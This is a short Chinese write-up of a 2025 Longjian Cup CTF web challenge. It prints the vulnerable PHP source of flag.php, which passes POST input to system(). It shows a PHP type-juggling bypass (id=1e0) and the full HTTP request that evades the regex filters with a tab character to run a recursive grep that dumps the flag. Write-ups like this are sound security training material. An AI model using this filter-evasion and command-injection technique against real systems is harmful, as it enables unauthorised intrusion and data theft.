2025陇剑杯现场检测
首先burp suite找到flag.php页面
之后得到
<?phpif (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1) //通过id=1.0或1e0可以绕过{echo 'welcome,admin';$_SESSION['admin'] = True;} else {die('flag?');}?><?phpif ($_SESSION['admin']) {if(isset($_POST['code'])){if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)echo 'no!';elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)echo 'no!';elsesystem($_POST['code']);}}?>
发现:
- 第一个过滤:
preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])
阻止命令字符串中包含ls
、c
、a
、t
、空格、f
、i
、n
或d'
。 - 第二个过滤:
preg_match("/[@#%^&*()|\/?><']/", $_POST['code'])
阻止命令字符串中包含@#%^&*()|\/?><'
那么用制表符当空格,使用grep命令过滤
POST /?id=1e0 HTTP/1.1Host: web-d11ea31914.challenge.longjiancup.cnCookie: PHPSESSID=admin123Content-Type: application/x-www-form-urlencodedContent-Length: 18code=grep -r "" .
得到flag